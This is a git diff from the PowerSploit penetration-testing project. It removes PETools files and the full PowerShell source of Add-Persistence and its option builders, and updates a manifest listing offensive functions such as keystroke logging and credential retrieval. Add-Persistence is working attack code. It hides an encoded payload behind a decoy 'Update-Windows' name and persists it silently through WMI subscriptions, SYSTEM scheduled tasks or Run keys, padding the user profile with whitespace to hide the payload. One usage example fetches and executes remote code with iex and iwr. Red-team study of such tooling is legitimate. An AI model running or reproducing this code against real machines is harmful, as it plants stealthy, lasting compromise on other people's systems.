<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>VirtualAddress</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Size</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<ScriptBlock>"0x$($_.VirtualAddress.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
<TableColumnItem>
<ScriptBlock>"0x$($_.Size.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>ImportView</Name>
<ViewSelectedBy>
<TypeName>Import</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>ModuleName</Label>
<Alignment>Right</Alignment>
</TableColumnHeader>
<TableColumnHeader>
<Label>VA/FT</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Ordinal</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>FunctionName</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<Alignment>Right</Alignment>
<PropertyName>ModuleName</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>RVA</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Ordinal</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>FunctionName</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>ExportView</Name>
<ViewSelectedBy>
<TypeName>Export</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>RVA</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Ordinal</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>FunctionName</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>ForwardedName</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<PropertyName>RVA</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Ordinal</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>FunctionName</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>ForwardedName</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
</ViewDefinitions>
</Configuration>
-88
View File
@@ -1,88 +0,0 @@
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'PETools.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
# ID used to uniquely identify this module
GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'
# Author of this module
Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Portable Executable Analysis Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml'
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'})
# List of all files packaged with this module
FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoadPath.ps1',
'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
-12
View File
@@ -1,12 +0,0 @@
To install this module, drop the entire PETools folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module PETools`
To see the commands imported, type `Get-Command -Module PETools`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
-400
View File
@@ -1,400 +0,0 @@
function Add-Persistence
{
<#
.SYNOPSIS
Add persistence capabilities to a script.
PowerSploit Function: Add-Persistence
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: New-ElevatedPersistenceOptions, New-UserPersistenceOptions
Optional Dependencies: None
.DESCRIPTION
Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted.
.PARAMETER ScriptBlock
Specifies a scriptblock containing your payload.
.PARAMETER FilePath
Specifies the path to your payload.
.PARAMETER ElevatedPersistenceOptions
Specifies the trigger for the persistent payload if the target is running elevated.
You must run New-ElevatedPersistenceOptions to generate this argument.
.PARAMETER UserPersistenceOptions
Specifies the trigger for the persistent payload if the target is not running elevated.
You must run New-UserPersistenceOptions to generate this argument.
.PARAMETER PersistenceScriptName
Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'.
.PARAMETER DoNotPersistImmediately
Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option.
.PARAMETER PersistentScriptFilePath
Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory.
.PARAMETER RemovalScriptFilePath
Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory.
.PARAMETER PassThru
Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline.
.INPUTS
None
Add-Persistence cannot receive any input from the pipeline.
.OUTPUTS
System.Management.Automation.ScriptBlock
If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script.
.NOTES
When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine.
.EXAMPLE
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM'
C:\PS>$UserOptions = New-UserPersistenceOptions -Registry -AtLogon
C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose
Description
-----------
Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime.
.EXAMPLE
C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle
C:\PS>$UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle
C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
Description
-----------
Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
$ScriptBlock,
[Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )]
[ValidateNotNullOrEmpty()]
[Alias('Path')]
[String]
$FilePath,
[Parameter( Mandatory = $True )]
$ElevatedPersistenceOptions,
[Parameter( Mandatory = $True )]
$UserPersistenceOptions,
[ValidateNotNullOrEmpty()]
[String]
$PersistenceScriptName = 'Update-Windows',
[ValidateNotNullOrEmpty()]
[String]
$PersistentScriptFilePath = "$PWD\Persistence.ps1",
[ValidateNotNullOrEmpty()]
[String]
$RemovalScriptFilePath = "$PWD\RemovePersistence.ps1",
[Switch]
$DoNotPersistImmediately,
[Switch]
$PassThru
)
Set-StrictMode -Version 2
#region Validate arguments
if ($ElevatedPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOptions')
{
throw 'You provided invalid elevated persistence options.'
}
if ($UserPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOptions')
{
throw 'You provided invalid user-level persistence options.'
}
$Path = Split-Path $PersistentScriptFilePath -ErrorAction Stop
$Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop
$PersistentScriptFile = ''
$RemovalScriptFile = ''
if ($Path -eq '')
{
$PersistentScriptFile = "$($PWD)\$($Leaf)"
}
else
{
$PersistentScriptFile = "$($Path)\$($Leaf)"
}
$Path = Split-Path $RemovalScriptFilePath -ErrorAction Stop
$Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop
if ($Path -eq '')
{
$RemovalScriptFile = "$($PWD)\$($Leaf)"
}
else
{
$RemovalScriptFile = "$($Path)\$($Leaf)"
}
if ($PSBoundParameters['Path'])
{
Get-ChildItem $Path -ErrorAction Stop | Out-Null
$Script = [IO.File]::ReadAllText((Resolve-Path $Path))
}
else
{
$Script = $ScriptBlock
}
#endregion
#region Initialize data
$CompressedScript = ''
$UserTrigger = ''
$UserTriggerRemoval = ''
$ElevatedTrigger = "''"
$ElevatedTriggerRemoval = ''
$UserTrigger = "''"
$UserTriggerRemoval = ''
$CommandLine = ''
#endregion
#region Compress the original payload in preparation for the persistence script
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
# Generate the code that will decompress and execute the payload.
# This code is intentionally ugly to save space.
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
#endregion
#region Process persistence options
# Begin processing elevated persistence options
switch ($ElevatedPersistenceOptions.Method)
{
'PermanentWMI'
{
$ElevatedTriggerRemoval = {
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Updater'" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
}
switch ($ElevatedPersistenceOptions.Trigger)
{
'AtStartup'
{
$ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
}
'Daily'
{
$ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOptions.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOptions.Time.ToString('mm')) GROUP WITHIN 60```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
}
'ScheduledTask'
{
$CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
$ElevatedTriggerRemoval = "schtasks /Delete /TN Updater"
switch ($ElevatedPersistenceOptions.Trigger)
{
'AtLogon'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR "
}
'Daily'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR "
}
'OnIdle'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
$ElevatedTrigger = '"' + $ElevatedTrigger + $CommandLine + '"'
}
'Registry'
{
$ElevatedTrigger = "New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
$ElevatedTriggerRemoval = "Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
$CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
$ElevatedTrigger = "'" + $ElevatedTrigger + $CommandLine + "'"
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
# Begin processing user-level persistence options
switch ($UserPersistenceOptions.Method)
{
'ScheduledTask'
{
$CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
$UserTriggerRemoval = "schtasks /Delete /TN Updater"
switch ($UserPersistenceOptions.Trigger)
{
'Daily'
{
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR "
}
'OnIdle'
{
$UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "
}
default
{
throw 'Invalid user-level persistence options provided!'
}
}
$UserTrigger = '"' + $UserTrigger + $CommandLine + '"'
}
'Registry'
{
$UserTrigger = "New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
$UserTriggerRemoval = "Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
$CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
$UserTrigger = "'" + $UserTrigger + $CommandLine + "'"
}
default
{
throw 'Invalid user-level persistence options provided!'
}
}
#endregion
#region Original script with its persistence logic will reside here
# This is intentionally ugly in the interest of saving space on the victim machine.
$PersistantScript = {
function FUNCTIONNAME{
Param([Switch]$Persist)
$ErrorActionPreference='SilentlyContinue'
$Script={ORIGINALSCRIPT}
if($Persist){
if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
else
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo
iex $Payload|Out-Null
Write-Output $Payload}
else
{$Script.Invoke()}
} EXECUTEFUNCTION
}
$PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName)
$PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript)
$PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger)
$PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger)
if ($DoNotPersistImmediately)
{
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '')
}
else
{
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', "$PersistenceScriptName -Persist")
}
#endregion
#region Generate final output
# Generate the persistence removal script
$PersistenceRemoval = @"
# Execute the following to remove the elevated persistent payload
$ElevatedTriggerRemoval
# Execute the following to remove the user-level persistent payload
$UserTriggerRemoval
"@
$PersistantScript | Out-File $PersistentScriptFile
Write-Verbose "Persistence script written to $PersistentScriptFile"
$PersistenceRemoval | Out-File $RemovalScriptFile
Write-Verbose "Persistence removal script written to $RemovalScriptFile"
if ($PassThru)
{
# Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline.
Write-Output ([ScriptBlock]::Create($PersistantScript))
}
#endregion
}
@@ -1,170 +0,0 @@
function New-ElevatedPersistenceOptions
{
<#
.SYNOPSIS
Configure elevated persistence options for the Add-Persistence function.
PowerSploit Function: New-ElevatedPersistenceOptions
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
New-ElevatedPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.
.PARAMETER PermanentWMI
Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove.
Detection Difficulty: Difficult
Removal Difficulty: Difficult
User Detectable? No
.PARAMETER ScheduledTask
Persist via a scheduled task.
Detection Difficulty: Moderate
Removal Difficulty: Moderate
User Detectable? No
.PARAMETER Registry
Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
Detection Difficulty: Easy
Removal Difficulty: Easy
User Detectable? Yes
.PARAMETER AtLogon
Starts the payload upon any user logon.
.PARAMETER AtStartup
Starts the payload within 240 and 325 seconds of computer startup.
.PARAMETER OnIdle
Starts the payload after one minute of idling.
.PARAMETER Daily
Starts the payload daily.
.PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
.EXAMPLE
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM'
.EXAMPLE
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -Registry -AtStartup
.EXAMPLE
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
[Switch]
$PermanentWMI,
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$ScheduledTask,
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
[Switch]
$Registry,
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Switch]
$Daily,
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime]
$At,
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$OnIdle,
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
[Switch]
$AtLogon,
[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
[Switch]
$AtStartup
)
$PersistenceOptionsTable = @{
Method = ''
Trigger = ''
Time = ''
}
switch ($PSCmdlet.ParameterSetName)
{
'PermanentWMIAtStartup'
{
$PersistenceOptionsTable['Method'] = 'PermanentWMI'
$PersistenceOptionsTable['Trigger'] = 'AtStartup'
}
'PermanentWMIDaily'
{
$PersistenceOptionsTable['Method'] = 'PermanentWMI'
$PersistenceOptionsTable['Trigger'] = 'Daily'
$PersistenceOptionsTable['Time'] = $At
}
'ScheduledTaskAtLogon'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
}
'ScheduledTaskOnIdle'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'OnIdle'
}
'ScheduledTaskDaily'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'Daily'
$PersistenceOptionsTable['Time'] = $At
}
'Registry'
{
$PersistenceOptionsTable['Method'] = 'Registry'
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
}
}
$PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
$PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOptions'
Write-Output $PersistenceOptions
}
-128
View File
@@ -1,128 +0,0 @@
function New-UserPersistenceOptions
{
<#
.SYNOPSIS
Configure user-level persistence options for the Add-Persistence function.
PowerSploit Function: New-UserPersistenceOptions
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
New-UserPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry.
.PARAMETER ScheduledTask
Persist via a scheduled task.
Detection Difficulty: Moderate
Removal Difficulty: Moderate
User Detectable? No
.PARAMETER Registry
Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
Detection Difficulty: Easy
Removal Difficulty: Easy
User Detectable? Yes
.PARAMETER AtLogon
Starts the payload upon any user logon.
.PARAMETER OnIdle
Starts the payload after one minute of idling.
.PARAMETER Daily
Starts the payload daily.
.PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
.EXAMPLE
C:\PS> $UserOptions = New-UserPersistenceOptions -Registry -AtLogon
.EXAMPLE
C:\PS> $UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$ScheduledTask,
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
[Switch]
$Registry,
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Switch]
$Daily,
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime]
$At,
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$OnIdle,
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
[Switch]
$AtLogon
)
$PersistenceOptionsTable = @{
Method = ''
Trigger = ''
Time = ''
}
switch ($PSCmdlet.ParameterSetName)
{
'ScheduledTaskAtLogon'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
}
'ScheduledTaskOnIdle'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'OnIdle'
}
'ScheduledTaskDaily'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'Daily'
$PersistenceOptionsTable['Time'] = $At
}
'Registry'
{
$PersistenceOptionsTable['Method'] = 'Registry'
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
}
}
$PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
$PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOptions'
Write-Output $PersistenceOptions
}
+4 -11
View File
@@ -1,10 +1,10 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Persistence.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '633d0f10-a056-41da-869d-6d2f75430195'
@@ -24,14 +24,7 @@ PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'})
# List of all files packaged with this module
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Add-Persistence.ps1', 'New-ElevatedPersistenceOptions.ps1',
'New-UserPersistenceOptions.ps1', 'Usage.md'
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md'
}
}
File diff suppressed because it is too large Load Diff
+147 -69
View File
@@ -1,10 +1,9 @@
@{
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'PowerSploit.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '6753b496-d842-40a3-924a-0f09e248640c'
@@ -12,85 +11,164 @@ GUID = '6753b496-d842-40a3-924a-0f09e248640c'
# Author of this module
Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Root Module'
Description = 'PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers and red team operator during all phases of an engagement.'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
FunctionsToExport = @(
'Add-NetUser',
'Add-ObjectAcl',
'Add-Persistence',
'Add-ServiceDacl',
'Convert-NameToSid',
'Convert-NT4toCanonical',
'Convert-SidToName',
'Copy-ClonedFile',
'Find-AVSignature',
'Find-ComputerField',
'Find-ForeignGroup',
'Find-ForeignUser',
'Find-GPOComputerAdmin',
'Find-GPOLocation',
'Find-InterestingFile',
'Find-LocalAdminAccess',
'Find-PathDLLHijack',
'Find-ProcessDLLHijack',
'Find-ManagedSecurityGroups',
'Find-UserField',
'Get-ADObject',
'Get-ApplicationHost',
'Get-CachedRDPConnection',
'Get-ComputerDetails',
'Get-ComputerProperty',
'Get-CurrentUserTokenGroupSid',
'Get-DFSshare',
'Get-DomainPolicy',
'Get-ExploitableSystem',
'Get-GPPPassword',
'Get-HttpStatus',
'Get-Keystrokes',
'Get-LastLoggedOn',
'Get-ModifiablePath',
'Get-ModifiableRegistryAutoRun',
'Get-ModifiableScheduledTaskFile',
'Get-ModifiableService',
'Get-ModifiableServiceFile',
'Get-NetComputer',
'Get-NetDomain',
'Get-NetDomainController',
'Get-NetDomainTrust',
